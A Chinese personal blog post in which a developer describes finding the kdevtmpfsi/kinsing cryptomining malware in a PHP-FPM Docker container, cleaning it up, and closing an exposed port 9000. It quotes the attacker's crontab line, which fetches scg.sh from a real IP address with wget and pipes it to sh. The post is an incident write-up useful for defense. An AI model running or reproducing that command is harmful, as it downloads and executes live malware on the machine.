程序员一生的污点,我部署的 docker 容器中了挖矿木马 kdevtmpfsi

更新日期: 2024-06-17 阅读次数: 1017 字数: 954 分类: 安全

晚上,我在排查一台服务器上 docker 拉取镜像奇慢无比的原因。感觉有点卡,本来以为是用海外跳板机网络不好的原因,随手 top 命令看了一下。我直接跪地,泪流满面

load average: 4.06, 4.02, 4.00 (4核服务器)
%Cpu(s): 99.6
%CPU  %MEM     TIME+ COMMAND 
397.7  29.6     11,28 kdevtmpfsi

未知进程跑满了 CPU,心想坏了莫非中了传说中挖矿木马!Google 了一下,果然是!

那一刻,我顿感无颜见父老乡亲,没想到机智如我,也能中了挖矿木马。这真 TM 是程序员一生的耻辱,必将永世挂在生产环境操作不规范的耻辱柱上。。。请把耻辱两个字打在评论区。。。

木马在哪里

查看进程信息:

ps axuw | grep kdevtmpfsi
www-data  169657  393 29.5 3075800 2406624 ?     Ssl  09:24 691:15 /tmp/kdevtmpfsi

但是在宿主机的 /tmp 目录下,并没有找到这个文件 。。。

systemctl status 169657
Warning: The unit file, source configuration file or drop-ins of docker-xxx.scope changed on disk. Run 'syste>● docker-xxx.scope - libcontainer container xxx
     Loaded: loaded (/run/systemd/transient/docker-xxx.scope; transient)
  Transient: yes
    Drop-In: /run/systemd/transient/docker-xxx.scope.d
             └─50-DevicePolicy.conf, 50-DeviceAllow.conf
     Active: active (running) since Fri 2024-06-14 19:49:03 UTC; 22h ago
         IO: 28.1M read, 2.9G written
      Tasks: 26 (limit: 9444)
     Memory: 4.4G (peak: 4.4G)
        CPU: 11h 46min 32.234s
     CGroup: /system.slice/docker-xxx.scope
             ├─152322 "php-fpm: master process (/usr/local/etc/php-fpm.conf)"
             ├─152387 "php-fpm: pool www"
             ├─152388 "php-fpm: pool www"
             ├─152389 "php-fpm: pool www"
             ├─152390 "php-fpm: pool www"
             ├─161379 /bin/bash
             ├─167773 /tmp/kinsing
             └─169657 /tmp/kdevtmpfsi

看来是在 docker 的 php 容器中。于是登录 php 的容器,果然找到了这个 /tmp/kdevtmpfsi 木马。

kill 掉这个进程。

删除了 kdevtmpfsi 文件,并且清空了 /tmp 目录下的所有文件。同时 find 整个磁盘,删除了所有包含此字符串的文件。我以为事情就这样结束了,没想到几分钟后,CPU 又跑满了。。。重复上面操作之后,感觉不是办法。请教 Google,原来还有一个系统计划任务在定时拉起这个进程。

最变态的是,这个计划任务是以 www-data 的身份运行的,不易察觉。

crontab -u www-data -e
* * * * * wget -q -O - http://91.241.19.134/scg.sh | sh > /dev/null 2>&1

删除这个计划任务之后。世界清静了。服务器恢复了往日的和平。

我还是不放心,把这个容器也清理了。如果不是在 docker 中中招,估计宿主机也得重装。

问题出在哪里

首先这个 php 容器镜像使用的是 docker 官方的镜像,这里应该不会有问题。 里面安装的 php 依赖也是一个几 K star 的多年开源项目,应该也不会有问题。

问题应该出在邪恶的 docker compose 配置,因为我为了图省事,采用了在宿主机开放端口的写法,没有使用 sock 文件的写法。

services:
  phpfpm:
    build: ./php8.3
    ports:
      - 9000:9000
    volumes:
      - /var/www/html:/var/www/html

而 Linode 主机,默认系统防火墙是关闭的,且没有像国内阿里云的默认网络安全组限制,所以开放了 9000 端口,估计就被扫出漏洞,黑进去了。这可是最新的 PHP 8.3 啊。。。

搞服务器真是不能偷懒。速速关闭端口,改成了 sock 形式。

phpfpm:
  build: ./php8.3
  volumes:
    - ./fpm_sock_data:/sock

世界上最好的语言

加上这次,我这辈子服务器一共被黑过 4 次。每一次服务器被黑,都是因为 PHP 。。。

虽然你是世界上最好的语言,但是我觉得我还是配不上你。。。

附上我被黑的耻辱历史

参考

  • https://cloud.tencent.com/developer/article/1638821
  • https://segmentfault.com/a/1190000042305570

微信关注我哦 👍

大象工具微信公众号

我是来自山东烟台的一名开发者,有感兴趣的话题,或者软件开发需求,欢迎加微信 zhongwei 聊聊, 查看更多联系方式